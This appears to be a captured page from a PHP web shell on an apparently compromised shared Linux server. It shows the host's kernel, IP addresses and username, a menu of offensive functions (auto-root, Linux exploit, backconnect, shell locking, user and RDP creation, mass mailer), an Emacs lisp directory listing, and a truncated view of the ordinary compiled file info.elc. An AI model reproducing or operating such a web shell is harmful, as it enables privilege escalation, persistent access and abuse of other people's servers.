Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
27.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
cedet
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
image
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
leim
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
vc
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
537
B
-rw-r--r--
abbrev.elc
34.55
KB
-rw-r--r--
align.elc
39.88
KB
-rw-r--r--
allout-widgets.elc
62.37
KB
-rw-r--r--
allout.elc
203.33
KB
-rw-r--r--
ansi-color.elc
17.12
KB
-rw-r--r--
apropos.elc
37.42
KB
-rw-r--r--
arc-mode.elc
58.06
KB
-rw-r--r--
array.elc
27.07
KB
-rw-r--r--
auth-source-pass.elc
11.68
KB
-rw-r--r--
auth-source.elc
64.32
KB
-rw-r--r--
autoarg.elc
6.63
KB
-rw-r--r--
autoinsert.elc
13.41
KB
-rw-r--r--
autorevert.elc
30.71
KB
-rw-r--r--
avoid.elc
11.62
KB
-rw-r--r--
battery.elc
24.42
KB
-rw-r--r--
bindings.elc
42.76
KB
-rw-r--r--
bookmark.elc
77.09
KB
-rw-r--r--
bs.elc
49.32
KB
-rw-r--r--
buff-menu.elc
27.02
KB
-rw-r--r--
button.elc
14.97
KB
-rw-r--r--
calculator.elc
53.9
KB
-rw-r--r--
case-table.elc
4.99
KB
-rw-r--r--
cdl.elc
1.07
KB
-rw-r--r--
char-fold.elc
311.81
KB
-rw-r--r--
chistory.elc
8.16
KB
-rw-r--r--
cmuscheme.elc
18.07
KB
-rw-r--r--
color.elc
12.83
KB
-rw-r--r--
comint.elc
114.46
KB
-rw-r--r--
completion.elc
41.12
KB
-rw-r--r--
composite.elc
27.94
KB
-rw-r--r--
cus-dep.elc
6.42
KB
-rw-r--r--
cus-edit.elc
139.04
KB
-rw-r--r--
cus-face.elc
10.54
KB
-rw-r--r--
cus-load.el
85.19
KB
-rw-r--r--
cus-start.elc
21.92
KB
-rw-r--r--
cus-theme.elc
25.05
KB
-rw-r--r--
custom.elc
47.41
KB
-rw-r--r--
dabbrev.elc
22.28
KB
-rw-r--r--
delim-col.elc
8.95
KB
-rw-r--r--
delsel.elc
9.2
KB
-rw-r--r--
descr-text.elc
26.87
KB
-rw-r--r--
desktop.elc
47.64
KB
-rw-r--r--
dframe.elc
19.92
KB
-rw-r--r--
dired-aux.elc
85.75
KB
-rw-r--r--
dired-loaddefs.el
22.29
KB
-rw-r--r--
dired-x.elc
44.53
KB
-rw-r--r--
dired.elc
127.27
KB
-rw-r--r--
dirtrack.elc
7.75
KB
-rw-r--r--
disp-table.elc
8.76
KB
-rw-r--r--
display-fill-column-indicator....
8.32
KB
-rw-r--r--
display-line-numbers.elc
8.67
KB
-rw-r--r--
dnd.elc
7.13
KB
-rw-r--r--
doc-view.elc
65.25
KB
-rw-r--r--
dom.elc
7.36
KB
-rw-r--r--
dos-fns.elc
6.14
KB
-rw-r--r--
dos-vars.elc
1.1
KB
-rw-r--r--
dos-w32.elc
11.67
KB
-rw-r--r--
double.elc
4.34
KB
-rw-r--r--
dynamic-setting.elc
2.2
KB
-rw-r--r--
ebuff-menu.elc
10.46
KB
-rw-r--r--
echistory.elc
4.75
KB
-rw-r--r--
ecomplete.elc
7.1
KB
-rw-r--r--
edmacro.elc
19.94
KB
-rw-r--r--
ehelp.elc
11.32
KB
-rw-r--r--
elec-pair.elc
21.41
KB
-rw-r--r--
electric.elc
23.69
KB
-rw-r--r--
elide-head.elc
2.65
KB
-rw-r--r--
emacs-lock.elc
9.29
KB
-rw-r--r--
env.elc
6.12
KB
-rw-r--r--
epa-dired.elc
1.62
KB
-rw-r--r--
epa-file.elc
8.65
KB
-rw-r--r--
epa-hook.elc
4.63
KB
-rw-r--r--
epa-mail.elc
9.43
KB
-rw-r--r--
epa.elc
45.25
KB
-rw-r--r--
epg-config.elc
8.97
KB
-rw-r--r--
epg.elc
166.06
KB
-rw-r--r--
expand.elc
9.07
KB
-rw-r--r--
ezimage.elc
9.65
KB
-rw-r--r--
face-remap.elc
16.58
KB
-rw-r--r--
facemenu.elc
27.89
KB
-rw-r--r--
faces.elc
90.21
KB
-rw-r--r--
ffap.elc
50.3
KB
-rw-r--r--
filecache.elc
16.69
KB
-rw-r--r--
fileloop.elc
6.62
KB
-rw-r--r--
filenotify.elc
28.49
KB
-rw-r--r--
files-x.elc
21.9
KB
-rw-r--r--
files.elc
236.95
KB
-rw-r--r--
filesets.elc
72.57
KB
-rw-r--r--
find-cmd.elc
4.9
KB
-rw-r--r--
find-dired.elc
10.41
KB
-rw-r--r--
find-file.elc
18.33
KB
-rw-r--r--
find-lisp.elc
7.66
KB
-rw-r--r--
finder-inf.el
41.27
KB
-rw-r--r--
finder.elc
14.73
KB
-rw-r--r--
flow-ctrl.elc
2.26
KB
-rw-r--r--
foldout.elc
7.25
KB
-rw-r--r--
follow.elc
40.63
KB
-rw-r--r--
font-core.elc
12.41
KB
-rw-r--r--
font-lock.elc
61.63
KB
-rw-r--r--
format-spec.elc
3.93
KB
-rw-r--r--
format.elc
27.56
KB
-rw-r--r--
forms.elc
35.1
KB
-rw-r--r--
frame.elc
85.94
KB
-rw-r--r--
frameset.elc
48.02
KB
-rw-r--r--
fringe.elc
10.23
KB
-rw-r--r--
generic-x.elc
40.27
KB
-rw-r--r--
help-at-pt.elc
11.15
KB
-rw-r--r--
help-fns.elc
45.35
KB
-rw-r--r--
help-macro.elc
4.25
KB
-rw-r--r--
help-mode.elc
23.89
KB
-rw-r--r--
help.elc
52.22
KB
-rw-r--r--
hex-util.elc
1.3
KB
-rw-r--r--
hexl.elc
35.39
KB
-rw-r--r--
hfy-cmap.elc
25.45
KB
-rw-r--r--
hi-lock.elc
29.38
KB
-rw-r--r--
hilit-chg.elc
28.77
KB
-rw-r--r--
hippie-exp.elc
21.52
KB
-rw-r--r--
hl-line.elc
11.23
KB
-rw-r--r--
htmlfontify-loaddefs.el
808
B
-rw-r--r--
htmlfontify.elc
67.51
KB
-rw-r--r--
ibuf-ext.elc
77.15
KB
-rw-r--r--
ibuf-macs.elc
12.47
KB
-rw-r--r--
ibuffer-loaddefs.el
12.68
KB
-rw-r--r--
ibuffer.elc
98.62
KB
-rw-r--r--
icomplete.elc
22.83
KB
-rw-r--r--
ido.elc
127.92
KB
-rw-r--r--
ielm.elc
19.2
KB
-rw-r--r--
iimage.elc
4.92
KB
-rw-r--r--
image-dired.elc
92.97
KB
-rw-r--r--
image-file.elc
6.53
KB
-rw-r--r--
image-mode.elc
42.56
KB
-rw-r--r--
image.elc
34.45
KB
-rw-r--r--
imenu.elc
24.94
KB
-rw-r--r--
indent.elc
23.63
KB
-rw-r--r--
info-look.elc
28.18
KB
-rw-r--r--
info-xref.elc
16.59
KB
-rw-r--r--
info.elc
144.48
KB
-rw-r--r--
informat.elc
9.73
KB
-rw-r--r--
isearch.elc
147.85
KB
-rw-r--r--
isearchb.elc
4.73
KB
-rw-r--r--
jit-lock.elc
23.49
KB
-rw-r--r--
jka-cmpr-hook.elc
13.07
KB
-rw-r--r--
jka-compr.elc
12.09
KB
-rw-r--r--
json.elc
22.76
KB
-rw-r--r--
jsonrpc.elc
31.65
KB
-rw-r--r--
kermit.elc
2.92
KB
-rw-r--r--
kmacro.elc
35.15
KB
-rw-r--r--
ldefs-boot.el
1.41
MB
-rw-r--r--
linum.elc
10.77
KB
-rw-r--r--
loaddefs.el
1.41
MB
-rw-r--r--
loadhist.elc
9.77
KB
-rw-r--r--
loadup.el
20.08
KB
-rw-r--r--
locate.elc
19.57
KB
-rw-r--r--
lpr.elc
9.44
KB
-rw-r--r--
ls-lisp.elc
22.7
KB
-rw-r--r--
macros.elc
7.23
KB
-rw-r--r--
makesum.elc
2.47
KB
-rw-r--r--
man.elc
53.85
KB
-rw-r--r--
master.elc
4.58
KB
-rw-r--r--
mb-depth.elc
3.56
KB
-rw-r--r--
md4.elc
8.12
KB
-rw-r--r--
menu-bar.elc
86.61
KB
-rw-r--r--
midnight.elc
10.22
KB
-rw-r--r--
minibuf-eldef.elc
6.43
KB
-rw-r--r--
minibuffer.elc
104.08
KB
-rw-r--r--
misc.elc
5.4
KB
-rw-r--r--
misearch.elc
12.37
KB
-rw-r--r--
mouse-copy.elc
3.61
KB
-rw-r--r--
mouse-drag.elc
6.43
KB
-rw-r--r--
mouse.elc
71.3
KB
-rw-r--r--
mpc.elc
79.29
KB
-rw-r--r--
msb.elc
26.76
KB
-rw-r--r--
mwheel.elc
12.83
KB
-rw-r--r--
newcomment.elc
39.43
KB
-rw-r--r--
notifications.elc
13.78
KB
-rw-r--r--
novice.elc
4.43
KB
-rw-r--r--
obarray.elc
1.71
KB
-rw-r--r--
outline.elc
37.04
KB
-rw-r--r--
paren.elc
8.69
KB
-rw-r--r--
password-cache.elc
3.57
KB
-rw-r--r--
pcmpl-cvs.elc
6.17
KB
-rw-r--r--
pcmpl-gnu.elc
12.96
KB
-rw-r--r--
pcmpl-linux.elc
3.09
KB
-rw-r--r--
pcmpl-rpm.elc
11.17
KB
-rw-r--r--
pcmpl-unix.elc
7.52
KB
-rw-r--r--
pcmpl-x.elc
8.95
KB
-rw-r--r--
pcomplete.elc
36.16
KB
-rw-r--r--
pixel-scroll.elc
10.82
KB
-rw-r--r--
plstore.elc
14.75
KB
-rw-r--r--
printing.elc
157.7
KB
-rw-r--r--
proced.elc
62.85
KB
-rw-r--r--
profiler.elc
42.81
KB
-rw-r--r--
ps-bdf.elc
12.69
KB
-rw-r--r--
ps-def.elc
2.23
KB
-rw-r--r--
ps-mule.elc
34.89
KB
-rw-r--r--
ps-print-loaddefs.el
2.6
KB
-rw-r--r--
ps-print.elc
141.17
KB
-rw-r--r--
ps-samp.elc
5.26
KB
-rw-r--r--
recentf.elc
48.73
KB
-rw-r--r--
rect.elc
26.88
KB
-rw-r--r--
register.elc
27.63
KB
-rw-r--r--
registry.elc
10.41
KB
-rw-r--r--
repeat.elc
5.14
KB
-rw-r--r--
replace.elc
84.62
KB
-rw-r--r--
reposition.elc
2.66
KB
-rw-r--r--
reveal.elc
7.16
KB
-rw-r--r--
rfn-eshadow.elc
7.23
KB
-rw-r--r--
rot13.elc
2.56
KB
-rw-r--r--
rtree.elc
4.09
KB
-rw-r--r--
ruler-mode.elc
21.87
KB
-rw-r--r--
savehist.elc
10.83
KB
-rw-r--r--
saveplace.elc
11.87
KB
-rw-r--r--
sb-image.elc
2.75
KB
-rw-r--r--
scroll-all.elc
4.41
KB
-rw-r--r--
scroll-bar.elc
16.68
KB
-rw-r--r--
scroll-lock.elc
5.41
KB
-rw-r--r--
select.elc
18.75
KB
-rw-r--r--
server.elc
47.56
KB
-rw-r--r--
ses.elc
131.12
KB
-rw-r--r--
shadowfile.elc
31.16
KB
-rw-r--r--
shell.elc
41.53
KB
-rw-r--r--
simple.elc
301.78
KB
-rw-r--r--
skeleton.elc
15.76
KB
-rw-r--r--
so-long.elc
47.15
KB
-rw-r--r--
sort.elc
15.49
KB
-rw-r--r--
soundex.elc
1.14
KB
-rw-r--r--
speedbar.elc
115.02
KB
-rw-r--r--
startup.elc
68.51
KB
-rw-r--r--
strokes.elc
44.03
KB
-rw-r--r--
subdirs.el
450
B
-rw-r--r--
subr.elc
186.63
KB
-rw-r--r--
svg.elc
12.71
KB
-rw-r--r--
t-mouse.elc
3.8
KB
-rw-r--r--
tab-bar.elc
52.48
KB
-rw-r--r--
tab-line.elc
29.85
KB
-rw-r--r--
tabify.elc
2.17
KB
-rw-r--r--
talk.elc
2.99
KB
-rw-r--r--
tar-mode.elc
57.2
KB
-rw-r--r--
tempo.elc
19.18
KB
-rw-r--r--
term.elc
107.99
KB
-rw-r--r--
thingatpt.elc
16.88
KB
-rw-r--r--
thread.elc
8.08
KB
-rw-r--r--
thumbs.elc
25.74
KB
-rw-r--r--
time-stamp.elc
18.69
KB
-rw-r--r--
time.elc
20.87
KB
-rw-r--r--
timezone.elc
10.94
KB
-rw-r--r--
tmm.elc
13.39
KB
-rw-r--r--
tool-bar.elc
9.76
KB
-rw-r--r--
tooltip.elc
13.19
KB
-rw-r--r--
tree-widget.elc
19.84
KB
-rw-r--r--
tutorial.elc
22.28
KB
-rw-r--r--
type-break.elc
37.35
KB
-rw-r--r--
uniquify.elc
17.68
KB
-rw-r--r--
userlock.elc
6.33
KB
-rw-r--r--
vcursor.elc
23.92
KB
-rw-r--r--
version.elc
6.01
KB
-rw-r--r--
view.elc
34.69
KB
-rw-r--r--
vt-control.elc
1.99
KB
-rw-r--r--
vt100-led.elc
1.33
KB
-rw-r--r--
w32-fns.elc
11.01
KB
-rw-r--r--
w32-vars.elc
5.16
KB
-rw-r--r--
wdired.elc
23.52
KB
-rw-r--r--
whitespace.elc
69.06
KB
-rw-r--r--
wid-browse.elc
8.48
KB
-rw-r--r--
wid-edit.elc
99.52
KB
-rw-r--r--
widget.elc
1.4
KB
-rw-r--r--
windmove.elc
19.82
KB
-rw-r--r--
window.elc
294.5
KB
-rw-r--r--
winner.elc
12.04
KB
-rw-r--r--
woman.elc
109.43
KB
-rw-r--r--
x-dnd.elc
19.56
KB
-rw-r--r--
xdg.elc
10.14
KB
-rw-r--r--
xml.elc
25.31
KB
-rw-r--r--
xt-mouse.elc
14.1
KB
-rw-r--r--
xwidget.elc
18.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : info.elc
;ELC ;;; Compiled ;;; in Emacs version 27.1 ;;; with all optimizations. ;;; This file contains utf-8 non-ASCII characters, ;;; and so cannot be loaded into Emacs 22 or earlier. (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (string-lessp emacs-version "23") (error "`%s' was compiled for Emacs 23 or later" #$)) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (custom-declare-group 'info nil "Info subsystem." :group 'help :group 'docs) #@106 Stack of Info nodes user has visited. Each element of the stack is a list (FILENAME NODENAME BUFFERPOS). (defvar Info-history nil (#$ . 486)) (make-variable-buffer-local 'Info-history) #@139 Stack of Info nodes user has visited with `Info-history-back' command. Each element of the stack is a list (FILENAME NODENAME BUFFERPOS). (defvar Info-history-forward nil (#$ . 678)) (make-variable-buffer-local 'Info-history-forward) #@98 List of all Info nodes user has visited. Each element of the list is a list (FILENAME NODENAME). (defvar Info-history-list nil (#$ . 918)) (byte-code "\300\301\302\303\304DD\305\306\307\310\311\312\313& \207" [custom-declare-variable Info-history-skip-intermediate-nodes funcall function #[0 "\300\207" [t] 1] "Non-nil means don't record intermediate Info nodes to the history.\nIntermediate Info nodes are nodes visited by Info internally in the process of\nsearching the node to display. Intermediate nodes are not presented\nto the user." :type boolean :group info :version "24.1"] 10) #@118 Non-nil allows Info to execute Lisp code associated with nodes. The Lisp code is executed when the node is selected. (defvar Info-enable-active-nodes nil (#$ . 1515)) (byte-code "\300\301\302\303#\210\304\305\306\307\310\311%\210\304\312\313\314\310\311%\210\304\315\316\317\310\311%\210\304\320\321\322\310\311%\210\304\323\324\325\310\311%\210\304\326\327\330\310\311%\210\304\331\332\333\310\311%\210\304\334\335\336\310\311%\210\304\337\340\341\342\343\310\311&\210\344\345\346\347\350DD\351\342\343\352\353\310\311& \210\344\354\346\347\355DD\356\352\357\342\360\310\311& \210\344\361\346\347\362DD\363\352\353\310\311&\210\304\364\365\366\310\311%\210\304\367\370\371\310\311%\210\304\372\373\374\310\311\342\375&\210\344\376\346\347\377DD\201@ \201A \201B \352\201C \310\311& \207" [put Info-enable-active-nodes risky-local-variable t custom-declare-face info-node ((((class color) (background light)) :foreground "brown" :weight bold :slant italic) (((class color) (background dark)) :foreground "white" :weight bold :slant italic) (t :weight bold :slant italic)) "Face for Info node names." :group info info-title-1 ((((type tty pc) (class color) (background light)) :foreground "green" :weight bold) (((type tty pc) (class color) (background dark)) :foreground "yellow" :weight bold) (t :height 1.2 :inherit info-title-2)) "Face for info titles at level 1." info-title-2 ((((type tty pc) (class color)) :foreground "lightblue" :weight bold) (t :height 1.2 :inherit info-title-3)) "Face for info titles at level 2." info-title-3 ((((type tty pc) (class color)) :weight bold) (t :height 1.2 :inherit info-title-4)) "Face for info titles at level 3." info-title-4 ((((type tty pc) (class color)) :weight bold) (t :weight bold :inherit variable-pitch)) "Face for info titles at level 4." info-menu-header ((((type tty pc)) :underline t :weight bold) (t :inherit variable-pitch :weight bold)) "Face for headers in Info menus." info-menu-star ((((class color)) :foreground "red1") (t :underline t)) "Face for every third `*' in an Info menu." info-xref ((t :inherit link)) "Face for unvisited Info cross-references." info-xref-visited ((t :inherit (link-visited info-xref))) "Face for visited Info cross-references." :version "22.1" custom-declare-variable Info-fontify-visited-nodes funcall function #[0 "\300\207" [t] 1] "Non-nil to fontify references to visited nodes in `info-xref-visited' face." :type boolean Info-fontify-maximum-menu-size #[0 "\300\207" [400000] 1] "Maximum size of menu to fontify if `font-lock-mode' is non-nil.\nSet to nil to disable node fontification; set to t for no limit." (choice (const :tag "No fontification" nil) (const :tag "No size limit" t) (integer :tag "Up to this many characters")) "25.1" Info-use-header-line #[0 "\300\207" [t] 1] "Non-nil means to put the beginning-of-node links in an Emacs header-line.\nA header-line does not scroll with the rest of the buffer." info-header-xref ((t :inherit info-xref)) "Face for Info cross-references in a node header." info-header-node ((t :inherit info-node)) "Face for Info nodes in a node header." info-index-match ((t :inherit match)) "Face used to highlight matches in an index entry." "24.4" Info-default-directory-list #[0 "\304\305\306!\203 \307\310\"\311!\205 \211\262\206 !\312\313!\314\315\316\317\320\321\322\323\324!\325\"\326\327%\"\"\235\203= \211C\244\202@ B\n\330=\204L \331B\202v \332!\307\333\"\307\334\"\335!\203e \336C\"\202t \335!\203s \336C\"\202t \266\203\207" [data-directory configure-info-directory system-type invocation-directory file-name-as-directory featurep ns expand-file-name "../info" file-directory-p prune-directory-list ("/usr/local/" "/usr/" "/opt/") ("share/" "") apply nconc mapcar make-byte-code 257 "\301\302\303\304\305\306!\307\"\310\311%\300\"\312!\207" vconcat vector [mapcar make-byte-code 257 "\300\301Q\207" vconcat vector ["info/"] 4 "\n\n(fn SFX)" prune-directory-list] 8 "\n\n(fn PFX)" windows-nt "/usr/share/info/emacs" file-name-directory "../info/" "../../../info/" file-exists-p append] 12] "Default list of directories to search for Info documentation files.\nThey are searched in the order they are given in the list.\nTherefore, the directory of Info files that come with Emacs\nnormally should come last (so that local files override standard ones),\nunless Emacs is installed into a non-standard directory. In the latter\ncase, the directory of Info files that come with Emacs should be\nfirst in this list.\n\nOnce Info is started, the list of directories to search\ncomes from the variable `Info-directory-list'.\nThis variable `Info-default-directory-list' is used as the default\nfor initializing `Info-directory-list' when Info is started, unless\nthe environment variable INFOPATH is set.\n\nAlthough this is a customizable variable, that is mainly for technical\nreasons. Normally, you should either set INFOPATH or customize\n`Info-additional-directory-list', rather than changing this variable." :initialize custom-initialize-delay (repeat directory)] 10) #@1514 List of directories to search for Info documentation files. If nil, meaning not yet initialized, Info uses the environment variable INFOPATH to initialize it, or `Info-default-directory-list' if there is no INFOPATH variable in the environment, or the concatenation of the two if INFOPATH ends with a `path-separator'. When `Info-directory-list' is initialized from the value of `Info-default-directory-list', and Emacs is installed in one of the standard directories, the directory of Info files that come with Emacs is put last (so that local Info files override standard ones). When `Info-directory-list' is initialized from the value of `Info-default-directory-list', and Emacs is not installed in one of the standard directories, the first element of the resulting list is the directory where Emacs installs the Info files that come with it. This is so that Emacs's own manual, which suits the version of Emacs you are using, will always be found first. This is useful when you install an experimental version of Emacs without removing the standard installation. If you want to override the order of directories in `Info-default-directory-list', set INFOPATH in the environment. If you run the Emacs executable from the `src' directory in the Emacs source tree, and INFOPATH is not defined, the `info' directory in the source tree is used as the first element of `Info-directory-list', in place of the installation Info directory. This is useful when you run a version of Emacs without installing it. (defvar Info-directory-list nil (#$ . 6575)) (byte-code "\300\301\302\303\304DD\305\306\307\310\311&\210\300\312\302\303\313DD\314\315\316\306\317\310\311& \210\300\320\302\303\321DD\322\315\316\306\323\324\325\310\311&\210\300\326\302\303\327DD\330\315\316\306\317\310\311& \210\300\331\302\303\332DD\333\315\334\306\335\310\311& \210\300\336\302\303\337DD\340\306\341\310\311&\210\300\342\302\303\343DD\344\315\316\306\317\310\311& \207" [custom-declare-variable Info-additional-directory-list funcall function #[0 "\300\207" [nil] 1] "List of additional directories to search for Info documentation files.\nThese directories are searched after those in `Info-directory-list'." :type (repeat directory) :group info Info-scroll-prefer-subnodes #[0 "\300\207" [nil] 1] "If non-nil, \\<Info-mode-map>\\[Info-scroll-up] in a menu visits subnodes.\n\nIf this is non-nil, and you scroll far enough in a node that its menu\nappears on the screen, the next \\<Info-mode-map>\\[Info-scroll-up]\nmoves to a subnode indicated by the following menu item. This means\nthat you visit a subnode before getting to the end of the menu.\n\nSetting this option to nil results in behavior similar to the stand-alone\nInfo reader program, which visits the first subnode from the menu only\nwhen you hit the end of the current node." :version "22.1" boolean Info-hide-note-references #[0 "\300\207" [t] 1] "If non-nil, hide the tag and section reference in *note and * menu items.\nIf value is non-nil but not `hide', also replaces the \"*note\" with \"see\".\nIf value is non-nil but not t or `hide', the reference section is still shown.\nnil completely disables this feature. If this is non-nil, you might\nwant to set `Info-refill-paragraphs'." (choice (const :tag "No hiding" nil) (const :tag "Replace tag and hide reference" t) (const :tag "Hide tag and reference" hide) (other :tag "Only replace tag" tag)) :set #[514 "L\210\300 \211\205# \211@r\211q\210\301\302!\203 \303\304\211\"\210)A\266\202\202 \207" [buffer-list derived-mode-p Info-mode revert-buffer t] 7 "\n\n(fn SYM VAL)"] Info-refill-paragraphs #[0 "\300\207" [nil] 1] "If non-nil, attempt to refill paragraphs with hidden references.\nThis refilling may accidentally remove explicit line breaks in the Info\nfile, so be prepared for a few surprises if you enable this feature.\nThis only has an effect if `Info-hide-note-references' is non-nil." Info-breadcrumbs-depth #[0 "\300\207" [4] 1] "Depth of breadcrumbs to display.\n0 means do not display breadcrumbs." "23.1" integer Info-search-whitespace-regexp #[0 "\300\207" [#1="\\s-+"] 1 #1#] "If non-nil, regular expression to match a sequence of whitespace chars.\nThis applies to Info search for regular expressions.\nYou might want to use something like \"[ \\t\\r\\n]+\" instead.\nIn the Customization buffer, that is `[' followed by a space,\na tab, a carriage return (control-M), a newline, and `]+'. Don't\nadd any capturing groups into this value; that can change the\nnumbering of existing capture groups in unexpected ways." regexp Info-isearch-search #[0 "\300\207" [t] 1] "If non-nil, isearch in Info searches through multiple nodes.\nBefore leaving the initial Info node, where isearch was started,\nit fails once with the error message [end of node], and with\nsubsequent C-s/C-r continues through other nodes without failing\nwith this error message in other nodes. When isearch fails for\nthe rest of the manual, it displays the error message [end of manual],\nwraps around the whole manual and restarts the search from the top/final\nnode depending on search direction.\n\nSetting this option to nil restores the default isearch behavior\nwith wrapping around the current Info node."] 12) (defvar Info-isearch-initial-node nil) (defvar Info-isearch-initial-history nil) (defvar Info-isearch-initial-history-list nil) (byte-code "\300\301\302\303\304DD\305\306\307\310\311&\210\300\312\302\303\313DD\314\306\307\310\311&\207" [custom-declare-variable Info-mode-hook funcall function #[0 "\301\300!\205 ??\205 \302\207" [Info-fontify boundp (turn-on-font-lock)] 2] "Hook run when activating Info Mode." :type hook :group info Info-selection-hook #[0 "\300\207" [nil] 1] "Hook run when an Info node is selected as the current node."] 8) #@193 Info file that Info is now looking at, or nil. This is the name that was specified in Info, not the actual file name. It doesn't contain directory names or file name extensions added by Info. (defvar Info-current-file nil (#$ . 12364)) (make-variable-buffer-local 'Info-current-file) #@116 Info subfile that is actually in the *info* buffer now. It is nil if current Info file is not split into subfiles. (defvar Info-current-subfile nil (#$ . 12655)) (make-variable-buffer-local 'Info-current-subfile) #@51 Name of node that Info is now looking at, or nil. (defvar Info-current-node nil (#$ . 12874)) (make-variable-buffer-local 'Info-current-node) #@112 Marker pointing at beginning of current Info file's tag table. Marker points nowhere if file has no tag table. (defvar Info-tag-table-marker nil (#$ . 13023)) (make-variable-buffer-local 'Info-tag-table-marker) #@38 Buffer used for indirect tag tables. (defvar Info-tag-table-buffer nil (#$ . 13240)) (make-variable-buffer-local 'Info-tag-table-buffer) #@47 Cached completion list for current Info file. (defvar Info-current-file-completions nil (#$ . 13383)) (make-variable-buffer-local 'Info-current-file-completions) #@98 Cached completion alist of visited Info files. Each element of the alist is (FILE . COMPLETIONS) (defvar Info-file-completions nil (#$ . 13551)) #@54 Non-nil if current Info file supports index cookies. (defvar Info-file-supports-index-cookies nil (#$ . 13702)) (make-variable-buffer-local 'Info-file-supports-index-cookies) #@188 List of Info files with information about index cookies support. Each element of the list is a list (FILENAME SUPPORTS-INDEX-COOKIES) where SUPPORTS-INDEX-COOKIES can be either t or nil. (defvar Info-file-supports-index-cookies-list nil (#$ . 13884)) #@57 List of possible matches for last `Info-index' command. (defvar Info-index-alternatives nil (#$ . 14141)) (make-variable-buffer-local 'Info-index-alternatives) #@220 Point location within a selected node. If string, the point is moved to the proper occurrence of the name of the followed cross reference within a selected node. If number, the point is moved to the corresponding line. (defvar Info-point-loc nil (#$ . 14308)) #@57 Non-nil if Emacs was started solely as an Info browser. (defvar Info-standalone nil (#$ . 14574)) #@104 Alist of file attributes of visited Info files. Each element is a list (FILE-NAME FILE-ATTRIBUTES...). (defvar Info-file-attributes nil (#$ . 14679)) #@334 Alist of cached parent-children node information in visited Info files. Each element is (FILE (NODE-NAME PARENT SECTION CHILDREN) ...) where PARENT is the parent node extracted from the Up pointer, SECTION is the section name in the Top node where this node is placed, CHILDREN is a list of child nodes extracted from the node menu. (defvar Info-toc-nodes nil (#$ . 14836)) #@118 Alist of cached index node names of visited Info files. Each element has the form (INFO-FILE INDEX-NODE-NAMES-LIST). (defvar Info-index-nodes nil (#$ . 15217)) #@705 List of definitions of virtual Info files. Each element of the list has the form (FILENAME (OPERATION . HANDLER) EXTRA) where FILENAME is a regexp that matches a class of virtual Info file names, it should be carefully chosen to not cause file name clashes with existing file names; OPERATION is one of the symbols `find-file', `find-node', `toc-nodes'; and HANDLER is a function to call when OPERATION is invoked on a virtual Info file. EXTRA, if present, is one or more cons cells specifying extra attributes important to some applications which use this data. For example, desktop saving and desktop restoring use the `slow' attribute to avoid restoration of nodes that could be expensive to compute. (defvar Info-virtual-files nil (#$ . 15384)) #@671 List of definitions of virtual Info nodes. Each element of the list has the form (NODENAME (OPERATION . HANDLER) EXTRA) where NODENAME is a regexp that matches a class of virtual Info node names, it should be carefully chosen to not cause node name clashes with existing node names; OPERATION is the symbol `find-node'; and HANDLER is a function to call when OPERATION is invoked on a virtual Info node. EXTRA, if present, is one or more cons cells specifying extra attributes important to some applications which use this data. For example, desktop saving and desktop restoring use the `slow' attribute to avoid restoration of nodes that could be expensive to compute. (defvar Info-virtual-nodes nil (#$ . 16140)) #@46 Non-nil if the current Info node is virtual. (defvar Info-current-node-virtual nil (#$ . 16861)) (make-variable-buffer-local 'Info-current-node-virtual) #@56 Check if Info file FILENAME is virtual. (fn FILENAME) (defalias 'Info-virtual-file-p #[257 "\300\301\302#\207" [Info-virtual-fun find-file nil] 5 (#$ . 17020)]) #@314 Find a function that handles operations on virtual manuals. OP is an operation symbol (`find-file', `find-node' or `toc-nodes'), FILENAME is a virtual Info file name, NODENAME is a virtual Info node name. Return a function found either in `Info-virtual-files' or `Info-virtual-nodes'. (fn OP FILENAME NODENAME) (defalias 'Info-virtual-fun #[771 ";\203 \302\303\304#\"\243\206 \211;\205 \302\303 \304#\"\243\207" [Info-virtual-files Info-virtual-nodes assoc assoc-default string-match] 9 (#$ . 17190)]) #@90 Call a function that handles operations on virtual manuals. (fn VIRTUAL-FUN &rest ARGS) (defalias 'Info-virtual-call #[385 "\300!\205 \301\"\206 \302\207" [functionp apply t] 5 (#$ . 17709)]) #@412 List of file name suffixes and associated decoding commands. Each entry should be (SUFFIX . STRING); the file is given to the command as standard input. STRING may be a list of strings. In that case, the first element is the command name, and the rest are arguments to that command. If STRING is nil, no decoding is done. Because the SUFFIXes are tried in order, the empty string should be last in the list. (defvar Info-suffix-list (byte-code "\301=\203 \302\207\303\207" [system-type ms-dos ((".gz" . "gunzip") (".z" . "gunzip") (".bz2" "bzip2" "-dc") (".inz" . "gunzip") (".igz" . "gunzip") (".info.Z" . "gunzip") (".info.gz" . "gunzip") ("-info.Z" . "gunzip") ("-info.gz" . "gunzip") ("/index.gz" . "gunzip") ("/index.z" . "gunzip") (".inf") (".info") ("-info") ("/index") (#1="")) ((".info.Z" . "uncompress") (".info.Y" 